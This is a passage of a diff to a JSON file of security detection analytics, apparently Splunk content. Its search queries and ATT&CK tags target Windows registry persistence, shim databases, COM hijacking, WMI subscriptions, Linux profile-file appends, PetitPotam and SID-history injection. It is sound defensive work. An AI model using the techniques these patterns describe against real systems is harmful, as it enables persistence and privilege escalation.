"APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Registry Keys for Creating SHIM Databases", - "description": "The following analytic detects registry activity related to the creation of application compatibility shims. It leverages data from the Endpoint.Registry data model, specifically monitoring registry paths associated with AppCompatFlags. This activity is significant because attackers can use shims to bypass security controls, achieve persistence, or escalate privileges. If confirmed malicious, this could allow an attacker to maintain long-term access, execute arbitrary code, or manipulate application behavior, posing a severe risk to the integrity and security of the affected systems.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=*CurrentVersion\\\\AppCompatFlags\\\\Custom* OR Registry.registry_path=*CurrentVersion\\\\AppCompatFlags\\\\InstalledSDB*) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `registry_keys_for_creating_shim_databases_filter`", - "tags": { - "analytic_story": [ - "Suspicious Windows Registry Activities", - "Windows Persistence Techniques", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry activity in $registry_path$ related to shim modication in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.011", - "mitre_attack_technique": "Application Shimming", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN7" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Registry Keys Used For Privilege Escalation", - "description": "The following analytic detects modifications to registry keys under \"Image File Execution Options\" that can be used for privilege escalation. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths and values like GlobalFlag and Debugger. This activity is significant because attackers can use these modifications to intercept executable calls and attach malicious binaries to legitimate system binaries. If confirmed malicious, this could allow attackers to execute arbitrary code with elevated privileges, leading to potential system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE ((Registry.registry_path=\"*Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options*\") AND (Registry.registry_value_name=GlobalFlag OR Registry.registry_value_name=Debugger)) BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `registry_keys_used_for_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Cloud Federated Credential Abuse", - "Data Destruction", - "Hermetic Wiper", - "Suspicious Windows Registry Activities", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry activity in $registry_path$ related to privilege escalation in host $dest$", - "risk_score": 76, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.012", - "mitre_attack_technique": "Image File Execution Options Injection", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Screensaver Event Trigger Execution", - "description": "The following analytic detects modifications to the SCRNSAVE.EXE registry entry, indicating potential event trigger execution via screensaver settings for persistence or privilege escalation. It leverages registry activity data from the Endpoint data model to identify changes to the specified registry path. This activity is significant as it is a known technique used by APT groups and malware to maintain persistence or escalate privileges. If confirmed malicious, this could allow an attacker to execute arbitrary code with elevated privileges, leading to further system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path=\"*\\\\Control Panel\\\\Desktop\\\\SCRNSAVE.EXE*\") by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `screensaver_event_trigger_execution_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Registry path $registry_path$ was modified, added, or deleted in $dest$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546.002", - "mitre_attack_technique": "Screensaver", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Shim Database File Creation", - "description": "The following analytic detects the creation of shim database files (.sdb) in default directories using the sdbinst.exe application. It leverages filesystem activity data from the Endpoint.Filesystem data model to identify file writes to the Windows\\AppPatch\\Custom directory. This activity is significant because shims can intercept and alter API calls, potentially allowing attackers to bypass security controls or execute malicious code. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Filesystem.action) values(Filesystem.file_hash) as file_hash values(Filesystem.file_path) as file_path min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path=*Windows\\\\AppPatch\\\\Custom* by Filesystem.file_name Filesystem.dest | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` |`drop_dm_object_name(Filesystem)` | `shim_database_file_creation_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_path", - "type": "File", - "role": [ - "Other" - ] - } - ], - "message": "A process that possibly write shim database in $file_path$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.011", - "mitre_attack_technique": "Application Shimming", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN7" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Shim Database Installation With Suspicious Parameters", - "description": "The following analytic detects the execution of sdbinst.exe with parameters indicative of silently creating a shim database. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line arguments. This activity is significant because shim databases can be used to intercept and manipulate API calls, potentially allowing attackers to bypass security controls or achieve persistence. If confirmed malicious, this could enable unauthorized code execution, privilege escalation, or persistent access to the compromised system.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = sdbinst.exe by Processes.process_name Processes.parent_process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `shim_database_installation_with_suspicious_parameters_filter`", - "tags": { - "analytic_story": [ - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ that possible create a shim db silently in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.011", - "mitre_attack_technique": "Application Shimming", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN7" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows AD AdminSDHolder ACL Modified", - "description": "The following analytic detects modifications to the Access Control List (ACL) of the AdminSDHolder object in a Windows domain, specifically the addition of new rules. It leverages EventCode 5136 from the Security Event Log, focusing on changes to the nTSecurityDescriptor attribute. This activity is significant because the AdminSDHolder object secures privileged group members, and unauthorized changes can allow attackers to establish persistence and escalate privileges. If confirmed malicious, this could enable an attacker to control domain-level permissions, compromising the entire Active Directory environment.", - "search": " `wineventlog_security` EventCode=5136 AttributeLDAPDisplayName=nTSecurityDescriptor OperationType=\"%%14674\" ObjectDN=\"CN=AdminSDHolder,CN=System*\" | rex field=AttributeValue max_match=10000 \"A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;(?PS-1-[0-59]-\\d{2}-\\d{8,10}-\\d{8,10}-\\d{8,10}-[1-9]\\d{3})\\)\" | stats values(added_user_sid) by _time, Computer, SubjectUserName, ObjectDN | `windows_ad_adminsdholder_acl_modified_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "SubjectUserName", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "The AdminSDHolder domain object has been modified on $Computer$ by $SubjectUserName$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Change Default File Association For No File Ext", - "description": "The following analytic detects attempts to change the default file association for files without an extension to open with Notepad.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns and registry modifications. This activity is significant as it can indicate an attempt to manipulate file handling behavior, a technique observed in APT and ransomware attacks like Prestige. If confirmed malicious, this could allow attackers to execute arbitrary code by tricking users into opening files, potentially leading to system compromise or data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process=\"* add *\" AND Processes.process=\"* HKCR\\\\*\" AND Processes.process=\"*\\\\shell\\\\open\\\\command*\" AND Processes.process= *Notepad.exe* by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | rex field=process \"Notepad\\.exe (?.*$)\" | rex field=file_name_association \"\\.(?[^\\.]*$)\" | where isnull(extension) and isnotnull(file_name_association) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_change_default_file_association_for_no_file_ext_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "process with commandline $process$ set or change the file association of a file with no file extension in $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.001", - "mitre_attack_technique": "Change Default File Association", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Kimsuky" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows COM Hijacking InprocServer32 Modification", - "description": "The following analytic detects the modification of the InProcServer32 registry key by reg.exe, indicative of potential COM hijacking. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line execution logs. COM hijacking is significant as it allows adversaries to insert malicious code that executes in place of legitimate software, providing a means for persistence. If confirmed malicious, this activity could enable attackers to execute arbitrary code, disrupt legitimate system components, and maintain long-term access to the compromised environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` Processes.process=*inprocserver32* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_com_hijacking_inprocserver32_modification_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to modify InProcServer32 within the registry.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.015", - "mitre_attack_technique": "Component Object Model Hijacking", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "WMI Permanent Event Subscription - Sysmon", - "description": "The following analytic identifies the creation of WMI permanent event subscriptions, which can be used to establish persistence or perform privilege escalation. It leverages Sysmon data, specifically EventCodes 19, 20, and 21, to detect the creation of WMI EventFilters, EventConsumers, and FilterToConsumerBindings. This activity is significant as it may indicate an attacker setting up mechanisms to execute code with elevated SYSTEM privileges when specific events occur. If confirmed malicious, this could allow the attacker to maintain persistence, escalate privileges, and execute arbitrary code, posing a severe threat to the environment.", - "search": "`sysmon` EventCode=21 | rename host as dest | table _time, dest, user, Operation, EventType, Query, Consumer, Filter | `wmi_permanent_event_subscription___sysmon_filter`", - "tags": { - "analytic_story": [ - "Suspicious WMI Use" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "WMI Permanent Event Subscription detected on $dest$ by $user$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.003", - "mitre_attack_technique": "Windows Management Instrumentation Event Subscription", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT33", - "Blue Mockingbird", - "FIN8", - "HEXANE", - "Leviathan", - "Metador", - "Mustang Panda", - "Rancor", - "Turla" - ] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -578685,116 +382848,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Linux File Creation In Profile Directory", - "description": "The following analytic detects the creation of files in the /etc/profile.d directory on Linux systems. It leverages filesystem data to identify new files in this directory, which is often used by adversaries for persistence by executing scripts upon system boot. This activity is significant as it may indicate an attempt to maintain long-term access to the compromised host. If confirmed malicious, this could allow attackers to execute arbitrary code with elevated privileges each time the system boots, potentially leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*/etc/profile.d/*\") by Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_file_creation_in_profile_directory_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.004", - "mitre_attack_technique": "Unix Shell Configuration Modification", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Possible Append Command To Profile Config File", - "description": "The following analytic detects suspicious command-lines that modify user profile files to automatically execute scripts or executables upon system reboot. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving profile files like ~/.bashrc and /etc/profile. This activity is significant as it indicates potential persistence mechanisms used by adversaries to maintain access to compromised hosts. If confirmed malicious, this could allow attackers to execute arbitrary code upon reboot, leading to persistent control over the system and potential further exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*echo*\" AND Processes.process IN(\"*~/.bashrc\", \"*~/.bash_profile\", \"*/etc/profile\", \"~/.bash_login\", \"*~/.profile\", \"~/.bash_logout\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_append_command_to_profile_config_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that may modify profile files in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546.004", - "mitre_attack_technique": "Unix Shell Configuration Modification", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -579805,53 +383858,7 @@ "Event ID": null, "Event Name": "Network device logs" } - ], - { - "name": "PetitPotam Network Share Access Request", - "description": "The following analytic detects network share access requests indicative of the PetitPotam attack (CVE-2021-36942). It leverages Windows Event Code 5145, which logs attempts to access network share objects. This detection is significant as PetitPotam can coerce authentication from domain controllers, potentially leading to unauthorized access. If confirmed malicious, this activity could allow attackers to escalate privileges or move laterally within the network, posing a severe security risk. Ensure Event Code 5145 is enabled via Group Policy to utilize this analytic effectively.", - "search": "`wineventlog_security` SubjectUserName=\"ANONYMOUS LOGON\" EventCode=5145 RelativeTargetName=lsarpc | stats count min(_time) as firstTime max(_time) as lastTime by dest, SubjectUserSid, ShareName, src, AccessMask, AccessReason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `petitpotam_network_share_access_request_filter`", - "tags": { - "analytic_story": [ - "PetitPotam NTLM Relay on Active Directory Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A remote host is enumerating a $dest$ to identify permissions. This is a precursor event to CVE-2021-36942, PetitPotam.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1187", - "mitre_attack_technique": "Forced Authentication", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "DarkHydrus", - "Dragonfly" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -580204,245 +384211,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" ] - }, - { - "name": "Windows AD Cross Domain SID History Addition", - "description": "The following analytic detects changes to the sIDHistory attribute of user or computer objects across different domains. It leverages Windows Security Event Codes 4738 and 4742 to identify when the sIDHistory attribute is modified. This activity is significant because the sIDHistory attribute allows users to inherit permissions from other AD accounts, which can be exploited by adversaries for inter-domain privilege escalation and persistence. If confirmed malicious, this could enable attackers to gain unauthorized access to resources, maintain persistence, and escalate privileges across domain boundaries.", - "search": "`wineventlog_security` (EventCode=4742 OR EventCode=4738) NOT SidHistory IN (\"%%1793\", -) | rex field=SidHistory \"(^%{|^)(?P.*)(\\-|\\\\\\)\" | rex field=TargetSid \"^(?P.*)(\\-|\\\\\\)\" | where SidHistoryMatch!=TargetSidmatch AND SidHistoryMatch!=TargetDomainName | rename TargetSid as userSid | table _time action status host user userSid SidHistory Logon_ID src_user | `windows_ad_cross_domain_sid_history_addition_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Active Directory SID History Attribute was added to $user$ by $src_user$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows AD Privileged Account SID History Addition", - "description": "The following analytic identifies when the SID of a privileged user is added to the SID History attribute of another user. It leverages Windows Security Event Codes 4742 and 4738, combined with identity lookups, to detect this activity. This behavior is significant as it may indicate an attempt to abuse SID history for unauthorized access across multiple domains. If confirmed malicious, this activity could allow an attacker to escalate privileges or maintain persistent access within the environment, posing a significant security risk.", - "search": "`wineventlog_security` (EventCode=4742 OR EventCode=4738) NOT SidHistory IN (\"%%1793\", -) | rex field=SidHistory \"(^%{|^)(?P.*?)(}$|$)\" | eval category=\"privileged\" | lookup identity_lookup_expanded category, identity as SidHistory OUTPUT identity_tag as match | where isnotnull(match) | rename TargetSid as userSid | table _time action status host user userSid SidHistory Logon_ID src_user | `windows_ad_privileged_account_sid_history_addition_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A Privileged User Account SID History Attribute was added to $userSid$ by $src_user$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows AD Same Domain SID History Addition", - "description": "The following analytic detects changes to the sIDHistory attribute of user or computer objects within the same domain. It leverages Windows Security Event Codes 4738 and 4742 to identify when the sIDHistory attribute is modified. This activity is significant because the sIDHistory attribute can be abused by adversaries to grant unauthorized access by inheriting permissions from another account. If confirmed malicious, this could allow attackers to maintain persistent access or escalate privileges within the domain, posing a severe security risk.", - "search": "`wineventlog_security` (EventCode=4742 OR EventCode=4738) NOT SidHistory IN (\"%%1793\", -) | rex field=SidHistory \"(^%{|^)(?P.*)(\\-|\\\\\\)\" | rex field=TargetSid \"^(?P.*)(\\-|\\\\\\)\" | where SidHistoryMatch=TargetSidmatch OR SidHistoryMatch=TargetDomainName | rename TargetSid as userSid, TargetDomainName as userDomainName | table _time action status host user userSid userDomainName SidHistory Logon_ID src_user | `windows_ad_same_domain_sid_history_addition_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Active Directory SID History Attribute was added to $user$ by $src_user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.005", - "mitre_attack_technique": "SID-History Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows AD SID History Attribute Modified", - "description": "The following analytic detects modifications to the SID History attribute in Active Directory by leveraging event code 5136. This detection uses logs from the `wineventlog_security` data source to identify changes to the sIDHistory attribute. Monitoring this activity is crucial as the SID History attribute can be exploited by adversaries to inherit permissions from other accounts, potentially granting unauthorized access. If confirmed malicious, this activity could allow attackers to maintain persistent access and escalate privileges within the domain, posing a significant security risk.", - "search": " `wineventlog_security` EventCode=5136 